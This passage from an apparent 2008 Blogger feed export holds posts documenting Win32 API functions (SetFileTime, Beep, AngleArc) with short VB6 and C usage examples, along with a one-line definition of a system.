/&gt;&lt;span style="font-weight: bold;"&gt;Example&lt;/span&gt;(VB 6.0)&lt;br /&gt;&lt;br /&gt;' Set the modification time of C:\MyApp\test.txt to&lt;br /&gt;' the current system date and time.  Leave the other times as they&lt;br /&gt;' were before calling the function.&lt;br /&gt;Dim hFile As Long  ' handle to the opened file&lt;br /&gt;Dim ctime As FILETIME  ' the time of creation&lt;br /&gt;Dim atime As FILETIME  ' the time of last access&lt;br /&gt;Dim mtime As FILETIME  ' the time of last modification&lt;br /&gt;Dim retval As Long  ' return value&lt;br /&gt;&lt;br /&gt;' First, open the file C:\MyApp\test.txt for both read-level and&lt;br /&gt;' write-level access, since we need to do both.&lt;br /&gt;hFile = CreateFile("C:\MyApp\test.txt", GENERIC_READ Or GENERIC_WRITE, FILE_SHARE_READ, ByVal CLng(0), OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0)&lt;br /&gt;If hFile = -1 Then&lt;br /&gt;  Debug.Print "Could not open the file successfully -- aborting."&lt;br /&gt;  End  ' terminate the program&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Next, get the creation, last-access, and last-modification times.&lt;br /&gt;retval = GetFileTime(hFile, ctime, atime, mtime)&lt;br /&gt;&lt;br /&gt;' Get the system time (already in UTC) as a FILETIME structure.&lt;br /&gt;GetSystemTimeAsFileTime mtime&lt;br /&gt;' Set the retrieved creation and access times and the new modification&lt;br /&gt;' time as the file's times.&lt;br /&gt;retval = SetFileTime(hFile, ctime, atime, mtime)&lt;br /&gt;&lt;br /&gt;' Close the file to free up resources.&lt;br /&gt;retval = CloseHandle(hFile)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-524771933028316655?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/524771933028316655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=524771933028316655' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/524771933028316655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/524771933028316655'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/win-32-api-set-file-time.html' title='WIN 32 API -SET FILE TIME'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-2435653841836726277</id><published>2008-09-15T23:25:00.000-07:00</published><updated>2008-09-18T01:43:45.695-07:00</updated><title type='text'>WIN 32 API -BEEP</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Beep Function&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Declaration&lt;/span&gt;&lt;br /&gt;long Beep(DWORD dwFreq,DWORD dwDuration)&lt;br /&gt;Platforms&lt;br /&gt;· Windows 95: Supported.&lt;br /&gt;· Windows 98: Supported.&lt;br /&gt;· Windows NT: Requires Windows NT 3.1 or later.&lt;br /&gt;· Windows 2000: Supported.&lt;br /&gt;· Windows CE: Not Supported.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Description &amp;amp; Usage&lt;/span&gt;&lt;br /&gt;Beep plays a sound, but its exact behavior varies between platforms. Windows 95/98:&lt;br /&gt;The function always plays the SystemDefault system sound, regardless of the values&lt;br /&gt;passed to the function. Windows NT/2000: The function plays a tone through the&lt;br /&gt;computer's internal speaker at the desired frequency for a specified duration.&lt;br /&gt;Return Value&lt;br /&gt;If an error occured, the function returns 0 (use GetLastError to get the error code). If&lt;br /&gt;successful, the function returns a non-zero value.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Parameters&lt;/span&gt;&lt;br /&gt;dwFreq&lt;br /&gt;Windows NT/2000: The frequency, in hertz (Hz), of the tone to play. Windows&lt;br /&gt;95/98: Ignored.&lt;br /&gt;dwDuration&lt;br /&gt;Windows NT/2000: The duration, in milliseconds, to play the desired tone.&lt;br /&gt;Windows 95/98: Ignored.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example&lt;/span&gt;(C)&lt;br /&gt;// Attempt to play a note at 800 Hz for 2 seconds. This will only&lt;br /&gt;// behave this way on Windows NT/2000; users of Windows 95/98 will only&lt;br /&gt;hear the&lt;br /&gt;// default sound.&lt;br /&gt;long retval; // return value&lt;br /&gt;retval=Beep(800,2000); // ideally, an 800 Hz tone for 2 seconds&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-2435653841836726277?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/2435653841836726277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=2435653841836726277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2435653841836726277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2435653841836726277'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/win-32-api-beep.html' title='WIN 32 API -BEEP'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-8815244239417475929</id><published>2008-09-15T22:41:00.000-07:00</published><updated>2008-09-18T01:43:12.971-07:00</updated><title type='text'>WIN 32 API -ANGLE ARC</title><content type='html'>&lt;span style="font-size:130%;"&gt;AngleArc Function&lt;/span&gt;&lt;br /&gt;Declaration&lt;br /&gt;&lt;br /&gt;long AngleArc(HDC hdc,long x,long y,long dwRadius,float eStartAngle,float eSweepAngle);&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Platforms&lt;/span&gt;&lt;br /&gt;· Windows 95: Not Supported&lt;br /&gt;· Windows 98: Not Supported&lt;br /&gt;· Windows NT: Requires Windows NT 3.1 or greater&lt;br /&gt;· Windows 2000: Supported&lt;br /&gt;· Windows CE: Not Supported&lt;br /&gt;Description &amp;amp; Usage&lt;br /&gt;AngleArc draws a circular arc on a device using the device's current pen. The circle&lt;br /&gt;which the arc lies on is determined by its center and radius. The start and end points of&lt;br /&gt;the arc are determined by angle measures in degrees, measured counterclockwise from&lt;br /&gt;the line parallel to the positive x-axis (i.e., from due right). The arc itself is drawn either&lt;br /&gt;clockwise or counterclockwise to connect the points, depending on the device's settings.&lt;br /&gt;AngleArc also draws a line connecting the device's current point to the beginning of the&lt;br /&gt;arc.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Return Value&lt;/span&gt;&lt;br /&gt;If an error occurs, the function returns 0 (call GetLastError to get the error code). If the&lt;br /&gt;function succeeds, the function returns a non-zero value.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Parameters&lt;/span&gt;&lt;br /&gt;hdc&lt;br /&gt;A handle to a device context of the device to draw the arc on.&lt;br /&gt;x&lt;br /&gt;The x coordinate of the center of the circle.&lt;br /&gt;y&lt;br /&gt;The y coordinate of the center of the circle.&lt;br /&gt;dwRadius&lt;br /&gt;The radius of the circle.&lt;br /&gt;eStartAngle&lt;br /&gt;The angle (in degrees) identifying the starting point of the arc.&lt;br /&gt;eSweepAngle&lt;br /&gt;The angle (in degrees) identifying the ending point of the arc.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Example&lt;/span&gt;&lt;/span&gt; (C)&lt;br /&gt;// Draw an arc formed by the upper half of a circle (from 0 to 180'&lt;br /&gt;degrees&lt;br /&gt;// counterclockwise). The circle is centered at (100, 150) and has a&lt;br /&gt;radius&lt;br /&gt;// of 50. The arc is drawn using the solid black stock pen.&lt;br /&gt;// (the value of device handle &amp;amp; the old pen selected)&lt;br /&gt;HDC hdc;HPEN holdpen;&lt;br /&gt;// handle to the black stock pen&lt;br /&gt;HPEN hpen=GetStockObject(BLACK_PEN);&lt;br /&gt;// select the pen&lt;br /&gt;SelectObject(hdc, hpen);&lt;br /&gt;// Make sure arcs are drawn going counterclockwise&lt;br /&gt;SetArcDirection(hdc,AD_COUNTERCLOCKWISE);&lt;br /&gt;// Draw the arc&lt;br /&gt;retval = AngleArc(hdc,100,150,50,0,180);&lt;br /&gt;// Select previous pen to restore the "defaults".&lt;br /&gt;SelectObject(hdc, holdpen);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-8815244239417475929?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/8815244239417475929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=8815244239417475929' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/8815244239417475929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/8815244239417475929'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/win-32-api-angle-arc.html' title='WIN 32 API -ANGLE ARC'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-7907894868384670338</id><published>2008-09-15T22:28:00.000-07:00</published><updated>2008-09-15T22:32:53.218-07:00</updated><title type='text'>what is A  System</title><content type='html'>System Is Set Of Components  interact each other to achieve  a specific goal&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-7907894868384670338?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/7907894868384670338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=7907894868384670338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7907894868384670338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/7907894868384670338'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/09/what-is-system.html' title='what is A  System'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
